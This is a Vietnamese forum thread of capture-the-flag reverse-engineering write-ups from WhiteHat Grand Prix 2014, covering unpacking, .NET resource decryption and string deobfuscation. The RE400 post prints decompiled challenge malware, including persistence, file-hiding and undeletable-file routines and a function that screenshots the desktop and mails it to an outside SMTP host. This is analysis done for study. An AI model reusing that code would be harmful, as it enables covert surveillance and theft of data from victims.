[Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

Thảo luận trong 'Writeup WhiteHat Grand Prix' bắt đầu bởi BkavCR, 30/10/14, 12:10 PM.

  1. BkavCR

    BkavCR Super Moderator

    Tham gia: 27/09/13, 11:09 AM
    Bài viết: 204
    Đã được thích: 90
    Điểm thành tích:
    48
    Topic này được tạo để các bạn viết, trao đổi thảo luận về Writeup Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014.

    Đề thi: Mời bạn đăng nhập vào trang http://grandprix.whitehat.vn/ bằng tài khoản và mật khẩu WhiteHat Forum để lấy đề thi.
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  2. holoha

    holoha Moderator

    Tham gia: 23/12/13, 11:12 AM
    Bài viết: 16
    Đã được thích: 5
    Điểm thành tích:
    18
    Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

    Bài RE 500:
    Bài này chia làm 2 phần:
    - Phần 1: Dump đoạn lấy được code phần gốc của malware
    - Phần 2: Giải mã tring

    Phần 1: Tìm code gốc của malware

    Bắt đầu debug file mal.exe
    [​IMG]

    File “mal.exe” sẽ load 1 thư viện “msi.dll”
    [​IMG]
    Thư viện “msi.dll” sẽ đọc file “msi.dll.mov” và thực thi code trong file “msi.dll.mov”
    [​IMG]
    Mở file “msi.dll.mov”

    [​IMG]
    Đọc file “msi.dll.mov”

    [​IMG]
    Thực thi code của file “msi.dll.mov” vừa đọc được

    Tiếp theo nó sẽ tạo 1 tiến trình “svchost.exe” và inject code vào tiến trình đó.
    [​IMG]
    Create process “svchost.exe”
    [​IMG]
    Inject code vào tiến trình “svchost.exe” vừa mới tạo

    Tiếp theo ta phải attack vào tiến trình svchost để unpack lấy code chính của malware
    [​IMG]
    Attack vào tiến trình “svchost.exe” được inject

    Tiếp theo ta tiến hành Unpack để lấy code chính của malware -> Đặt breakpoint tại địa chỉ “904FD” -> khi chạy đến địa chỉ đó thì bầm F7 sẽ đến đoạn code được Unpack
    [​IMG]
    Unpack code

    [​IMG]
    Code đã được Unpack xong.

    Sau khi đã Unpack xong ở trên olly ta dump code xuống IDA và phân tích tĩnh.
    ->Kết thúc phần 1. Unpack lấy code chính của malware

    Phần 2: Giải mã String

    [​IMG]
    Hàm thực hiện giải mã

    Code giải mã string


    Sau khi tiến hành giải mã thu được flag

    Mã:
    WhiteHat{3B3F3A414F717C7330F2BFA9BC1820E535B24B1C}
    addr offset - 20d50 - VA:942150
    FD5F2E057B5A7950172424C110108E9ACFFEF3F2DB6A36A6A3547B7EE8A05811C6DA18F9ACA69C1FB5E7B5DF1EE627245B7A5D023EF3 
    
    1.png

    2.png

    3.png

    4.png

    5.png

    6.png

    7.png

    8.png

    9.png

    10.png

    11.png
     
    Last edited by a moderator: 17/09/15, 02:09 PM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  3. REBD

    REBD W-------

    Tham gia: 22/09/14, 02:09 PM
    Bài viết: 8
    Đã được thích: 0
    Điểm thành tích:
    6
    Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

    RE400:
    Tool: SAE, de4dot


    Target là 1 file .NET. Mở ra và chuyển đến hàm main() để xem code:
    [​IMG]


    Có 1 method tên là decryptandloadresource(), và chương trình sẽ invoke 1 method có tên là "Do" sau khi data đã được decrypt và load lên. Xem thử code của decryptandloadresource:
    Mã:
    
    // きせげユぞぉぉ.ぉとユげキケ
    public Type decryptandloadresources()
    {
       Type result;
       using (MemoryStream せゾブユぉぉ = ケユきババネ.せゾブユぉぉ) //Lấy data từ resource
       {
           byte[] コせとォォブ = せゾブユぉぉ.ToArray(); //chuyển thành byte array
           int num = 12;
           result = this.Decrypt_resource(コせとォォブ, this.せブブげげゾ, 23).GetTypes()[num]; //Decrypt Resource và lấy method với index xác định
       }
       return result;
    }
    
    code khởi tạo data cho this.せブブげげゾ:
    [​IMG]
    Đây tạm gọi là password để decrypt resource:
    Code method Decrypt_Resource():
    Mã:
    private Assembly Decrypt_resource(byte[] コせとォォブ, byte[] ゾせネバゾコ, int きげゾコユぞ)
    {
       int index = 0;
       byte[] buffer = コせとォォブ;
       for (int i = 0; i < buffer.Length; i++)
       {
           byte num1 = buffer[i];
           コせとォォブ[index] = (byte) (コせとォォブ[index] ^ ((byte) ((ゾせネバゾコ[index % ((int) ゾせネバゾコ.Length)] >> ((index++ + きげゾコユぞ) + ゾせネバゾコ.Length)) & 0xff)));
       }
       return AppDomain.CurrentDomain.Load(コせとォォブ);
    }
    
    Save Resource có trong app lại thành 1 file với tên là "obj". Sau đó build decryptor dựa trên code đã có (chỉnh lại 1 chút):
    Mã:
    using System;
    using System.Text;
    using System.IO;
    
    
    namespace Decrypt_Resource
    {
        class MainClass
        {
            public static void Main()
            {
                byte[] buffer = File.ReadAllBytes("obj"); //Get Encrypted data
                Decrypt_resource(buffer,Password(),0x17); //Invoke Decryption method
            }
            public static void Decrypt_resource(byte[] Inbuffer, byte[] Inpass, int mnum)
            {
                int index = 0;
                byte[] buffer = Inbuffer;
                for (int i = 0; i < buffer.Length; i++)
                {
                    byte num1 = buffer[i];
                    Inbuffer[index] = (byte) (Inbuffer[index] ^ ((byte) ((Inpass[index % ((int) Inpass.Length)] >> ((index++ + mnum) + Inpass.Length)) & 0xff)));
                }
                File.WriteAllBytes("Decrypted.dll", Inbuffer); //Save decrypted data to file
            }
            public static byte[] Password() //Lấy password decrypt
            {
                return Encoding.UTF8.GetBytes("DoBGgtaiFaynDuU");
            }
        }
    }
    
    Build, run, ta có 1 file Decrypted.dll, mở file này lên bằng SAE, và tìm đến method Do():
    Mã:
    // Exec.Job
    public void Do()
    {
       string a = "true";
       string a2 = "true";
       string a3 = "true";
       string text = "breakfast";
       string a4 = "melt";
       string a5 = "yesfake";
       string s = "1";
       string a6 = "false";
       string a7 = "true";
       if (a7 == "true")
       {
           Thread.Sleep(60000);
       }
       if (a == "true")
       {
           this.Startup(text, a2 != "true", a3 != "false");
       }
       if (a4 != "none")
       {
           if (a4 == "hide")
           {
               this.Hide(Application.ExecutablePath);
               this.Hide(Path.Combine(Path.GetTempPath(), text + ".exe"));
           }
           else
           {
               this.SetUndeletable(Application.ExecutablePath);
               this.SetUndeletable(Path.Combine(Path.GetTempPath(), text + ".exe"));
           }
       }
       if (a5 == "yesfake")
       {
           this.FakeError();
       }
       if (a6 == "true")
       {
           this.DownloadFile();
       }
       this.HandleBoundFiles();
       byte[] data = this.ReadResource("Res"); //Load Resource
       this.Begin(data, int.Parse(s));
    }
    

    Ở phần cuối có method ReadResource(), code:
    Mã:
    
    // Exec.Job
    public byte[] ReadResource(string Name)
    {
       ResourceManager resourceManager = new ResourceManager(Name, Assembly.GetExecutingAssembly()); //Init resourceManager
       byte[] compressed = (byte[])resourceManager.GetObject("data"); //get resource named "data" in current assembly
       return new LZ4Decompressor32().Decompress(compressed);//Decompress using LZ4
    }
    
    Save resource của file Decrypted.dll lại, download code LZ4Sharp tại: https://github.com/stangelandcl/LZ4Sharp/tree/master/LZ4Sharp và compile (.NET4), tạo 1 app mới và reference LZ4Sharp.dll vào, sau đó viết code:
    Mã:
    using System;
    using System.IO;
    using LZ4Sharp;
    
    
    namespace a
    {
        class Program
        {
            public static void Main()
            {
                byte[] Decrypted_2 =  new LZ4Decompressor32().Decompress(File.ReadAllBytes("data"));
                File.WriteAllBytes("out.dll", Decrypted_2);            
            }
        }
    }
    
    File có tên là out.dll được tạo ra, clean bằng de4dot. Mở lên và đi vòng quanh 1 lượt, gặp code sau:
    Mã:
    
    // Dark.Core
    public static void smethod_3(string string_2)
    {
       try
       {
           Stream contentStream = Core.smethod_17(Core.smethod_16(), ImageFormat.Jpeg);
           SmtpClient smtpClient = new SmtpClient();
           MailMessage mailMessage = new MailMessage();
           smtpClient.Credentials = new NetworkCredential(NativeMethods.GiaiMaString("]kcjh`o,..2;gdq`)^jh"), NativeMethods.GiaiMaString("ap^f]mdi"));
           smtpClient.Port = 587;
           smtpClient.Host = "Smtp.live.com";
           mailMessage = new MailMessage
           {
               From = new MailAddress(NativeMethods.GiaiMaString("]kcjh`o,..2;gdq`)^jh"))
           };
           mailMessage.To.Add(NativeMethods.GiaiMaString("]kcjh`o,..2;gdq`)^jh"));
           mailMessage.Subject = NativeMethods.GiaiMaString("Rcdo`Cov+2.0,@.-2>/.=.31.,.41,@--4+3/xu001c"); //Encrypted Flag
           mailMessage.Body = "Your Flag is set in the email subject! Can u read ?";
           new ContentType("image/jpeg");
           mailMessage.Attachments.Add(new Attachment(contentStream, NativeMethods.GiaiMaString("N^m``incjo)ek`b")));
           smtpClient.EnableSsl = true;
           smtpClient.Send(mailMessage);
       }
       catch (Exception projectError)
       {
           ProjectData.SetProjectError(projectError);
           ProjectData.ClearProjectError();
       }
    }
    
    
    
    Flag đã bị encrypted và được decrypt bằng mehtod GiaiMaString(). Lấy token của method này:
    Mã:
    /* Token: 0x06000001 */
    /* RVA: 0x2198 */
    .method public hidebysig static String GiaiMaString(String string_1)
    .maxstack 3
    

    Token = 06000001
    Sử dụng de4dot với file out-cleaned.dll với posfix param:
    Mã:
    de4dot out-cleaned.dll --strtyp delegate --strtok 06000001
    Kết quả:
    [​IMG]
    Mở file mới tạo ra, tìm đến method Dark.Core.method_3()(code ở trên):
    [​IMG]
     
    Last edited by a moderator: 28/11/14, 12:11 PM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  4. REBD

    REBD W-------

    Tham gia: 22/09/14, 02:09 PM
    Bài viết: 8
    Đã được thích: 0
    Điểm thành tích:
    6
    Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

    RE300:
    Tool: OllyDbg 2


    Target là 1 file dll. Load vào OllyDbg và Search for String, gặp 1 string khả nghi:
    Mã:
    Search - Text strings referenced in diskm2, item 168
      Address = 1000D38C
      Command = PUSH OFFSET diskm2.10018C90
      Comments = ASCII "XUUU_CS0/f28L/28L8F+/4E69T39vMC1/7z6K6v4rKntbWvsq/jsa/e5eKn4ODe4q+zs7K1s6au4+G0pq+n3qa14uDq/PHz8L/Q5vDzAvq/4vUC/fO/3fzz9gX2AP7z9vz9v9AC8fX2AAK/t9Di3dC2u7/09/YA97/v8fz19gMC8L/+8vP8+v7z9gC/A/bw8/H2AfLz9vz9v/wFvwL1Av3z8L/z/L/w8gHwAPH2Afb9BL"...
    
    Double-click để trở về CPU Windows, có thấy 1 đoạn code như sau:
    Mã:
    CPU Disasm
    Address   Hex dump          Command                                  Comments                                                            Label
    1000D37D    6A 00           PUSH 0
    1000D37F    8D85 3061FFFF   LEA EAX,[EBP+FFFF6130]
    1000D385    50              PUSH EAX
    1000D386    FF15 24530110   CALL DWORD PTR DS:[
    1000D38C    68 908C0110     PUSH OFFSET diskm2.10018C90              ASCII "XUUU_CS0/f28L/28L8F+/4E69T39vMC1/7z6K6v4rKntbWvsq/jsa/e5eKn4
    1000D391    68 D0A40110     PUSH OFFSET diskm2.1001A4D0
    1000D396    E8 D054FFFF     CALL diskm2.1000286B
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  5. yeuchimse

    yeuchimse W-------

    Tham gia: 21/10/13, 10:10 PM
    Bài viết: 133
    Đã được thích: 0
    Điểm thành tích:
    36
    Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

    Mình hỏi chút về bài Re500.
    Mình có làm đến bước tương tự phần 2, theo như writeup thì là tiến hành giải mã, tuy nhiên mình không rõ các tham số đầu vào là như thế nào để ra flag? Mình có đặt BP ở hàm đó và run trực tiếp tuy nhiên không thấy chuỗi output nào khả quan. Mình rất hoang mang 12.gif
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  6. yeuchimse

    yeuchimse W-------

    Tham gia: 21/10/13, 10:10 PM
    Bài viết: 133
    Đã được thích: 0
    Điểm thành tích:
    36
    Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

    [​IMG] . 851578_387545534704664_1337680792_n.png

    777Sortlist-Facebook-Stickers.png
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  7. sunny

    sunny Điều hành viên Thành viên BQT

    Tham gia: 30/06/14, 10:06 PM
    Bài viết: 1,882
    Đã được thích: 855
    Điểm thành tích:
    113
    Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

    :rolleyes: Tập luyện cho WhiteHat Grand Prix 2015 chăng?
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  8. yeuchimse

    yeuchimse W-------

    Tham gia: 21/10/13, 10:10 PM
    Bài viết: 133
    Đã được thích: 0
    Điểm thành tích:
    36
    Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

    Đoán thì không chuẩn nhưng vẫn khen vì đã up giùm.

    [​IMG]
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  9. Malware

    Malware Wh------

    Tham gia: 08/01/15, 11:01 AM
    Bài viết: 56
    Đã được thích: 32
    Điểm thành tích:
    48
    Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

    "tuy nhiên mình không rõ các tham số đầu vào là như thế nào để ra flag?."


    Câu hỏi của bạn chưa rõ phần nào?.


    - Tham số truyền vào trong đề thi (Hàm trong file binary).
    - Hay tham số truyền vào trong hàm DecryptedString.
    - Hay data đã bị lấy ở đâu trong file để truyền vào hàm DecryptedString.
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  10. yeuchimse

    yeuchimse W-------

    Tham gia: 21/10/13, 10:10 PM
    Bài viết: 133
    Đã được thích: 0
    Điểm thành tích:
    36
    Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

    Mặc dù câu hỏi của mình đã rất rõ ràng và mình không hiểu ý đồ của bạn, tuy nhiên mình vẫn có thể nhắc lại là mình hỏi tham số truyền vào của hàm DecryptedString.
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  11. Malware

    Malware Wh------

    Tham gia: 08/01/15, 11:01 AM
    Bài viết: 56
    Đã được thích: 32
    Điểm thành tích:
    48
    Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

    Đọc code giải mã bạn sẽ thấy điều đó thôi.

    Cái tham số __in STRING_INFO_ENCRYPTED *stringInfoEncrypted: (Đầu vào) nó là 1 cấu trúc chưa thông tin của data đã bị mã hóa. Nó gồm 2 trường

    STRING_INFO_ENCRYPTED
    {
    DWORD dwLength;
    CHAR szString[MAX_PATH];
    };

    Tham số thứ 2 là __out STRING_INFO_DECRYPTED *stringInfoDecypted (Đầu ra) Nó chưa thông tin của data sau khi được giải mã. Cũng gồm 2 trường:

    STRING_INFO_DECRYPTED
    {
    DWORD dwKey;
    CHAR szString[MAX_PATH];
    };
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  12. yeuchimse

    yeuchimse W-------

    Tham gia: 21/10/13, 10:10 PM
    Bài viết: 133
    Đã được thích: 0
    Điểm thành tích:
    36
    Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

    Có khi nào tồn tại hai nhân cách trong con người bạn không, sao mình cứ thấy kỳ kỳ.
    Các topic bạn lập cũng văn minh phết mà.

    surrender.png
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  13. yeuchimse

    yeuchimse W-------

    Tham gia: 21/10/13, 10:10 PM
    Bài viết: 133
    Đã được thích: 0
    Điểm thành tích:
    36
    Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

    Up cho một ngày thu tuyệt vời :*

    beauty.png
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  14. yeuchimse

    yeuchimse W-------

    Tham gia: 21/10/13, 10:10 PM
    Bài viết: 133
    Đã được thích: 0
    Điểm thành tích:
    36
    Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

    Bí ẩn lớn nhất trong Whitehat GrandPrix 2014, phải chăng đây là một bài không có lời giải.

    after_boom.png
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  15. yeuchimse

    yeuchimse W-------

    Tham gia: 21/10/13, 10:10 PM
    Bài viết: 133
    Đã được thích: 0
    Điểm thành tích:
    36
    Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

    Up. .

    still_dreaming.png
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan